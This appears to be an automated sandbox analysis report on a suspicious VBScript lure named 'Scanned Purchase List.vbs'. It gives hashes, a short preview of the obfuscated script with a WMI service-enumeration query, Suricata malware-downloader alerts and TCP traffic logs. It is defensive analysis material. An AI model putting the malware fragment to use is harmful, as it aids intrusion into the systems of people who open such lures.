MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	ASCII text, with very long lines (2199), with CRLF line terminators
Entropy (8bit):	5.944190963443498
TrID:	Visual Basic Script (13500/0) 100.00%
File name:	Scanned Purchase List.vbs
File size:	22'301 bytes
MD5:	15b5b581555ff3e269c973f152f71cf6
SHA1:	b192825801c73167464fe4fdc71925b296379d24
SHA256:	24bddce898f1e7b3feb484483fe5bad7a29b95cdabef060ca7872d3ec3c2597f
SHA512:	83243ad7f5af9d43bca1816cf8a4ac9e7bb0d05111d68ffbc3d5dffb5fd0013b3a70d96f7f75bb8574182fb93df70bb82cb9afb22e763b15934525abdc9ed553
SSDEEP:	384:H4Z/mUNDZPI1/EslGZVYT0ta6yo48DNzOCjARM1bzRsCmc4yvIhk5SGll7:H4Z/JNDW1/q62yovNiCjA21brvigZ7
TLSH:	D2A24A894C9036EA156325F7898E3ABAE52D23F71A3051716D2EF4B40D083667CBC98F
File Content Preview:	..If sportshallers("C:\") <> vbnullstring then ....Set taeniobranchiate = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\r" + "oot\cimv2")....end if ......Set Supracranial = taeniobranchiate.ExecQuery("Select * from Win32_Service")....on error r

File Icon


Icon Hash:	68d69b8f86ab9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-01T07:45:54.091474+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49737	142.250.185.142	443	TCP
2024-10-01T07:46:14.480901+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49746	142.250.185.142	443	TCP
2024-10-01T07:46:19.571212+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49747	142.250.185.142	443	TCP
2024-10-01T07:46:24.654203+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49748	142.250.185.142	443	TCP
2024-10-01T07:46:40.297941+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49754	142.250.185.142	443	TCP
2024-10-01T07:47:00.922546+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49759	142.250.185.142	443	TCP
2024-10-01T07:47:05.956043+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49760	142.250.185.142	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 1, 2024 07:45:39.934941053 CEST	49731	443	192.168.2.4	142.250.184.238
Oct 1, 2024 07:45:39.934983015 CEST	443	49731	142.250.184.238	192.168.2.4
Oct 1, 2024 07:45:39.935060024 CEST	49731	443	192.168.2.4	142.250.184.238
Oct 1, 2024 07:45:39.945048094 CEST	49731	443	192.168.2.4	142.250.184.238
Oct 1, 2024 07:45:39.945072889 CEST	443	49731	142.250.184.238	192.168.2.4
Oct 1, 2024 07:45:40.779840946 CEST	443	49731	142.250.184.238	192.168.2.4
Oct 1, 2024 07:45:40.779911995 CEST	49731	443	192.168.2.4	142.250.184.238
Oct 1, 2024 07:45:40.780946970 CEST	443	49731	142.250.184.238	192.168.2.4
Oct 1, 2024 07:45:40.781022072 CEST	49731	443	192.168.2.4	142.250.184.238
Oct 1, 2024 07:45:40.785955906 CEST	49731	443	192.168.2.4	142.250.184.238
Oct 1, 2024 07:45:40.785970926 CEST	443	49731	142.250.184.238	192.168.2.4
Oct 1, 2024 07:45:40.786215067 CEST	443	49731	142.250.184.238	192.168.2.4
Oct 1, 2024 07:45:40.799690008 CEST	49731	443	192.168.2.4	142.250.184.238
Oct 1, 2024 07:45:40.843405008 CEST	443	49731	142.250.184.238	192.168.2.4
Oct 1, 2024 07:45:41.165652037 CEST	443	49731	142.250.184.238	192.168.2.4
Oct 1, 2024 07:45:41.166287899 CEST	443	49731	142.250.184.238	192.168.2.4
Oct 1, 2024 07:45:41.166332960 CEST	49731	443	192.168.2.4	142.250.184.238
Oct 1, 2024 07:45:41.169919968 CEST	49731	443	192.168.2.4	142.250.184.238
Oct 1, 2024 07:45:41.179862976 CEST	49732	443	192.168.2.4	142.250.184.193
Oct 1, 2024 07:45:41.179893017 CEST	443	49732	142.250.184.193	192.168.2.4
Oct 1, 2024 07:45:41.179991961 CEST	49732	443	192.168.2.4	142.250.184.193
Oct 1, 2024 07:45:41.180322886 CEST	49732	443	192.168.2.4	142.250.184.193
Oct 1, 2024 07:45:41.180334091 CEST	443	49732	142.250.184.193	192.168.2.4
Oct 1, 2024 07:45:41.828170061 CEST	443	49732	142.250.184.193	192.168.2.4
Oct 1, 2024 07:45:41.828285933 CEST	49732	443	192.168.2.4	142.250.184.193
Oct 1, 2024 07:45:41.831048012 CEST	49732	443	192.168.2.4	142.250.184.193
Oct 1, 2024 07:45:41.831063032 CEST	443	49732	142.250.184.193	192.168.2.4
Oct 1, 2024 07:45:41.831373930 CEST	443	49732	142.250.184.193	192.168.2.4
Oct 1, 2024 07:45:41.832357883 CEST	49732	443	192.168.2.4	142.250.184.193
Oct 1, 2024 07:45:41.879403114 CEST	443	49732	142.250.184.193	192.168.2.4
Oct 1, 2024 07:45:42.256758928 CEST	443	49732	142.250.184.193	192.168.2.4
Oct 1, 2024 07:45:42.256820917 CEST	443	49732	142.250.184.193	192.168.2.4
Oct 1, 2024 07:45:42.256886005 CEST	443	49732	142.250.184.193	192.168.2.4
Oct 1, 2024 07:45:42.256892920 CEST	49732	443	192.168.2.4	142.250.184.193
Oct 1, 2024 07:45:42.256927967 CEST	49732	443	192.168.2.4	142.250.184.193
Oct 1, 2024 07:45:42.262551069 CEST	49732	443	192.168.2.4	142.250.184.193
Oct 1, 2024 07:45:46.802546024 CEST	49733	443	192.168.2.4	142.250.184.238
Oct 1, 2024 07:45:46.802593946 CEST	443	49733	142.250.184.238	192.168.2.4
Oct 1, 2024 07:45:46.802710056 CEST	49733	443	192.168.2.4	142.250.184.238
Oct 1, 2024 07:45:46.802973986 CEST	49733	443	192.168.2.4	142.250.184.238
Oct 1, 2024 07:45:46.802985907 CEST	443	49733	142.250.184.238	192.168.2.4
Oct 1, 2024 07:45:47.432223082 CEST	443	49733	142.250.184.238	192.168.2.4
Oct 1, 2024 07:45:47.434879065 CEST	49733	443	192.168.2.4	142.250.184.238
Oct 1, 2024 07:45:47.434897900 CEST	443	49733	142.250.184.238	192.168.2.4
Oct 1, 2024 07:45:47.820857048 CEST	443	49733	142.250.184.238	192.168.2.4
Oct 1, 2024 07:45:47.822000980 CEST	443	49733	142.250.184.238	192.168.2.4
Oct 1, 2024 07:45:47.822067022 CEST	49733	443	192.168.2.4	142.250.184.238
Oct 1, 2024 07:45:47.822531939 CEST	49733	443	192.168.2.4	142.250.184.238
Oct 1, 2024 07:45:47.823540926 CEST	49734	443	192.168.2.4	142.250.184.193
Oct 1, 2024 07:45:47.823590994 CEST	443	49734	142.250.184.193	192.168.2.4
Oct 1, 2024 07:45:47.823704958 CEST	49734	443	192.168.2.4	142.250.184.193
Oct 1, 2024 07:45:47.823951960 CEST	49734	443	192.168.2.4	142.250.184.193
Oct 1, 2024 07:45:47.823961020 CEST	443	49734	142.250.184.193	192.168.2.4
Oct 1, 2024 07:45:48.470752001 CEST	443	49734	142.250.184.193	192.168.2.4
Oct 1, 2024 07:45:48.471970081 CEST	49734	443	192.168.2.4	142.250.184.193
Oct 1, 2024 07:45:48.471999884 CEST	443	49734	142.250.184.193	192.168.2.4
Oct 1, 2024 07:45:48.911144972 CEST	443	49734	142.250.184.193	192.168.2.4
Oct 1, 2024 07:45:48.911228895 CEST	49734	443	192.168.2.4	142.250.184.193
Oct 1, 2024 07:45:48.911262035 CEST	443	49734	142.250.184.193	192.168.2.4
Oct 1, 2024 07:45:48.911310911 CEST	49734	443	192.168.2.4	142.250.184.193
Oct 1, 2024 07:45:48.911426067 CEST	443	49734	142.250.184.193	192.168.2.4
Oct 1, 2024 07:45:48.911598921 CEST	443	49734	142.250.184.193	192.168.2.4
Oct 1, 2024 07:45:48.912269115 CEST	49734	443	192.168.2.4	142.250.184.193
Oct 1, 2024 07:45:48.919596910 CEST	49734	443	192.168.2.4	142.250.184.193
Oct 1, 2024 07:45:52.963993073 CEST	49737	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:45:52.964071989 CEST	443	49737	142.250.185.142	192.168.2.4
Oct 1, 2024 07:45:52.964186907 CEST	49737	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:45:52.964368105 CEST	49737	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:45:52.964400053 CEST	443	49737	142.250.185.142	192.168.2.4
Oct 1, 2024 07:45:53.593669891 CEST	443	49737	142.250.185.142	192.168.2.4
Oct 1, 2024 07:45:53.595633984 CEST	49737	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:45:53.595649004 CEST	443	49737	142.250.185.142	192.168.2.4
Oct 1, 2024 07:45:54.091259956 CEST	443	49737	142.250.185.142	192.168.2.4
Oct 1, 2024 07:45:54.091334105 CEST	443	49737	142.250.185.142	192.168.2.4
Oct 1, 2024 07:45:54.091732979 CEST	49737	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:45:54.091747999 CEST	443	49737	142.250.185.142	192.168.2.4
Oct 1, 2024 07:45:54.091758013 CEST	49737	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:45:54.091792107 CEST	49737	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:45:54.092770100 CEST	49740	443	192.168.2.4	142.250.184.193
Oct 1, 2024 07:45:54.092813969 CEST	443	49740	142.250.184.193	192.168.2.4
Oct 1, 2024 07:45:54.092875957 CEST	49740	443	192.168.2.4	142.250.184.193
Oct 1, 2024 07:45:54.093127966 CEST	49740	443	192.168.2.4	142.250.184.193
Oct 1, 2024 07:45:54.093147039 CEST	443	49740	142.250.184.193	192.168.2.4
Oct 1, 2024 07:45:54.101175070 CEST	49740	443	192.168.2.4	142.250.184.193
Oct 1, 2024 07:45:54.147413015 CEST	443	49740	142.250.184.193	192.168.2.4
Oct 1, 2024 07:45:54.730447054 CEST	443	49740	142.250.184.193	192.168.2.4
Oct 1, 2024 07:45:54.730551004 CEST	49740	443	192.168.2.4	142.250.184.193
Oct 1, 2024 07:45:58.134335995 CEST	49743	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:45:58.134388924 CEST	443	49743	142.250.185.142	192.168.2.4
Oct 1, 2024 07:45:58.134450912 CEST	49743	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:45:58.134707928 CEST	49743	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:45:58.134721041 CEST	443	49743	142.250.185.142	192.168.2.4
Oct 1, 2024 07:45:58.776197910 CEST	443	49743	142.250.185.142	192.168.2.4
Oct 1, 2024 07:45:58.783832073 CEST	49743	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:45:58.783858061 CEST	443	49743	142.250.185.142	192.168.2.4
Oct 1, 2024 07:45:59.180320978 CEST	443	49743	142.250.185.142	192.168.2.4
Oct 1, 2024 07:45:59.182058096 CEST	443	49743	142.250.185.142	192.168.2.4
Oct 1, 2024 07:45:59.182182074 CEST	49743	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:45:59.182413101 CEST	49743	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:03.188185930 CEST	49744	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:03.188277960 CEST	443	49744	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:03.188379049 CEST	49744	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:03.188687086 CEST	49744	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:03.188723087 CEST	443	49744	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:03.837764025 CEST	443	49744	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:03.839281082 CEST	49744	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:03.839303017 CEST	443	49744	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:04.232855082 CEST	443	49744	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:04.233712912 CEST	443	49744	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:04.233763933 CEST	49744	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:04.234283924 CEST	49744	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:08.235146999 CEST	49745	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:08.235193014 CEST	443	49745	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:08.235265970 CEST	49745	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:08.235471010 CEST	49745	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:08.235480070 CEST	443	49745	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:08.865556955 CEST	443	49745	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:08.866787910 CEST	49745	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:08.866805077 CEST	443	49745	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:09.249012947 CEST	443	49745	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:09.250432014 CEST	443	49745	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:09.250505924 CEST	49745	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:09.250813007 CEST	49745	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:13.250509024 CEST	49746	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:13.250567913 CEST	443	49746	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:13.250698090 CEST	49746	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:13.250943899 CEST	49746	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:13.250956059 CEST	443	49746	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:13.884335995 CEST	443	49746	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:13.885637999 CEST	49746	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:13.885658979 CEST	443	49746	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:14.480946064 CEST	443	49746	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:14.481020927 CEST	443	49746	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:14.481170893 CEST	49746	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:14.481600046 CEST	49746	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:18.523298025 CEST	49747	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:18.523355007 CEST	443	49747	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:18.523426056 CEST	49747	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:18.523673058 CEST	49747	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:18.523690939 CEST	443	49747	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:19.169967890 CEST	443	49747	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:19.171226978 CEST	49747	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:19.171256065 CEST	443	49747	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:19.571249962 CEST	443	49747	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:19.572448969 CEST	443	49747	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:19.572571993 CEST	49747	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:19.572860956 CEST	49747	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:23.594597101 CEST	49748	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:23.594659090 CEST	443	49748	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:23.594727039 CEST	49748	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:23.595063925 CEST	49748	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:23.595073938 CEST	443	49748	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:24.254071951 CEST	443	49748	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:24.255356073 CEST	49748	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:24.255378962 CEST	443	49748	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:24.654205084 CEST	443	49748	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:24.654666901 CEST	49748	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:24.654716969 CEST	443	49748	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:24.654772043 CEST	49748	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:24.655431986 CEST	49749	443	192.168.2.4	142.250.184.193
Oct 1, 2024 07:46:24.655472994 CEST	443	49749	142.250.184.193	192.168.2.4
Oct 1, 2024 07:46:24.655539036 CEST	49749	443	192.168.2.4	142.250.184.193
Oct 1, 2024 07:46:24.655752897 CEST	49749	443	192.168.2.4	142.250.184.193
Oct 1, 2024 07:46:24.655762911 CEST	443	49749	142.250.184.193	192.168.2.4
Oct 1, 2024 07:46:24.663979053 CEST	49749	443	192.168.2.4	142.250.184.193
Oct 1, 2024 07:46:24.711395025 CEST	443	49749	142.250.184.193	192.168.2.4
Oct 1, 2024 07:46:25.283421993 CEST	443	49749	142.250.184.193	192.168.2.4
Oct 1, 2024 07:46:25.283512115 CEST	49749	443	192.168.2.4	142.250.184.193
Oct 1, 2024 07:46:25.283560991 CEST	49749	443	192.168.2.4	142.250.184.193
Oct 1, 2024 07:46:28.672255993 CEST	49750	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:28.672310114 CEST	443	49750	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:28.672377110 CEST	49750	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:28.672641039 CEST	49750	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:28.672652960 CEST	443	49750	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:29.298243999 CEST	443	49750	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:29.298315048 CEST	49750	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:29.298995018 CEST	443	49750	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:29.299052954 CEST	49750	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:29.302666903 CEST	49750	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:29.302680016 CEST	443	49750	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:29.302912951 CEST	443	49750	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:29.303854942 CEST	49750	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:29.347404957 CEST	443	49750	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:29.721427917 CEST	443	49750	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:29.721506119 CEST	443	49750	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:29.721595049 CEST	49750	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:29.722498894 CEST	49750	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:29.723493099 CEST	49751	443	192.168.2.4	142.250.184.193
Oct 1, 2024 07:46:29.723546028 CEST	443	49751	142.250.184.193	192.168.2.4
Oct 1, 2024 07:46:29.723628998 CEST	49751	443	192.168.2.4	142.250.184.193
Oct 1, 2024 07:46:29.793129921 CEST	49751	443	192.168.2.4	142.250.184.193
Oct 1, 2024 07:46:29.793227911 CEST	443	49751	142.250.184.193	192.168.2.4
Oct 1, 2024 07:46:29.793303967 CEST	49751	443	192.168.2.4	142.250.184.193
Oct 1, 2024 07:46:34.000576973 CEST	49753	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:34.000623941 CEST	443	49753	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:34.000725031 CEST	49753	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:34.000960112 CEST	49753	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:34.000977039 CEST	443	49753	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:34.750227928 CEST	443	49753	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:34.751394033 CEST	49753	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:34.751418114 CEST	443	49753	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:35.161227942 CEST	443	49753	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:35.161303997 CEST	443	49753	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:35.161356926 CEST	49753	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:35.161732912 CEST	49753	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:39.172322035 CEST	49754	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:39.172415972 CEST	443	49754	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:39.172513962 CEST	49754	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:39.172730923 CEST	49754	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:39.172761917 CEST	443	49754	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:39.819818974 CEST	443	49754	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:39.821122885 CEST	49754	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:39.821141958 CEST	443	49754	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:40.297714949 CEST	443	49754	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:40.297791004 CEST	443	49754	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:40.297849894 CEST	49754	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:40.298235893 CEST	49754	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:44.297480106 CEST	49755	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:44.297540903 CEST	443	49755	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:44.297626972 CEST	49755	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:44.297883034 CEST	49755	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:44.297903061 CEST	443	49755	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:44.955710888 CEST	443	49755	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:44.957124949 CEST	49755	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:44.957160950 CEST	443	49755	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:45.360275984 CEST	443	49755	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:45.360344887 CEST	443	49755	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:45.360400915 CEST	49755	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:45.360759020 CEST	49755	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:49.360424995 CEST	49756	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:49.360496044 CEST	443	49756	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:49.360611916 CEST	49756	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:49.360856056 CEST	49756	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:49.360867977 CEST	443	49756	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:49.994260073 CEST	443	49756	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:49.995774031 CEST	49756	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:49.995820999 CEST	443	49756	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:50.810659885 CEST	443	49756	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:50.810761929 CEST	443	49756	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:50.810815096 CEST	49756	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:50.811256886 CEST	49756	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:54.813374043 CEST	49757	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:54.813431978 CEST	443	49757	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:54.813574076 CEST	49757	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:54.813858032 CEST	49757	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:54.813877106 CEST	443	49757	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:55.461891890 CEST	443	49757	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:55.463813066 CEST	49757	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:55.463848114 CEST	443	49757	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:55.855707884 CEST	443	49757	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:55.856528997 CEST	443	49757	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:55.856578112 CEST	49757	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:55.856962919 CEST	49757	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:55.858891010 CEST	49758	443	192.168.2.4	142.250.184.193
Oct 1, 2024 07:46:55.858961105 CEST	443	49758	142.250.184.193	192.168.2.4
Oct 1, 2024 07:46:55.859028101 CEST	49758	443	192.168.2.4	142.250.184.193
Oct 1, 2024 07:46:59.860503912 CEST	49759	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:59.860552073 CEST	443	49759	142.250.185.142	192.168.2.4
Oct 1, 2024 07:46:59.860734940 CEST	49759	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:59.867728949 CEST	49759	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:46:59.867744923 CEST	443	49759	142.250.185.142	192.168.2.4
Oct 1, 2024 07:47:00.525399923 CEST	443	49759	142.250.185.142	192.168.2.4
Oct 1, 2024 07:47:00.526706934 CEST	49759	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:47:00.526738882 CEST	443	49759	142.250.185.142	192.168.2.4
Oct 1, 2024 07:47:00.922502995 CEST	443	49759	142.250.185.142	192.168.2.4
Oct 1, 2024 07:47:00.922933102 CEST	49759	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:47:00.923001051 CEST	443	49759	142.250.185.142	192.168.2.4
Oct 1, 2024 07:47:00.923043966 CEST	443	49759	142.250.185.142	192.168.2.4
Oct 1, 2024 07:47:00.923049927 CEST	49759	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:47:00.923084974 CEST	49759	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:47:04.938021898 CEST	49760	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:47:04.938077927 CEST	443	49760	142.250.185.142	192.168.2.4
Oct 1, 2024 07:47:04.938170910 CEST	49760	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:47:04.938400030 CEST	49760	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:47:04.938410044 CEST	443	49760	142.250.185.142	192.168.2.4
Oct 1, 2024 07:47:05.565171957 CEST	443	49760	142.250.185.142	192.168.2.4
Oct 1, 2024 07:47:05.566939116 CEST	49760	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:47:05.566982985 CEST	443	49760	142.250.185.142	192.168.2.4
Oct 1, 2024 07:47:05.955993891 CEST	443	49760	142.250.185.142	192.168.2.4
Oct 1, 2024 07:47:05.956909895 CEST	443	49760	142.250.185.142	192.168.2.4
Oct 1, 2024 07:47:05.956984997 CEST	49760	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:47:05.957287073 CEST	49760	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:47:09.955671072 CEST	49761	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:47:09.955717087 CEST	443	49761	142.250.185.142	192.168.2.4
Oct 1, 2024 07:47:09.955837011 CEST	49761	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:47:09.956187963 CEST	49761	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:47:09.956198931 CEST	443	49761	142.250.185.142	192.168.2.4
Oct 1, 2024 07:47:10.649738073 CEST	443	49761	142.250.185.142	192.168.2.4
Oct 1, 2024 07:47:10.651026964 CEST	49761	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:47:10.651043892 CEST	443	49761	142.250.185.142	192.168.2.4
Oct 1, 2024 07:47:11.032294989 CEST	443	49761	142.250.185.142	192.168.2.4
Oct 1, 2024 07:47:11.033653975 CEST	443	49761	142.250.185.142	192.168.2.4
Oct 1, 2024 07:47:11.033850908 CEST	49761	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:47:11.034430027 CEST	49761	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:47:15.049834013 CEST	49762	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:47:15.049880981 CEST	443	49762	142.250.185.142	192.168.2.4
Oct 1, 2024 07:47:15.053935051 CEST	49762	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:47:15.057818890 CEST	49762	443	192.168.2.4	142.250.185.142
Oct 1, 2024 07:47:15.057835102 CEST	443	49762	142.250.185.142	192.168.2.4
Oct 1, 2024 07:47:15.689404011 CEST	443	49762	142.250.185.142	192.168.2.4
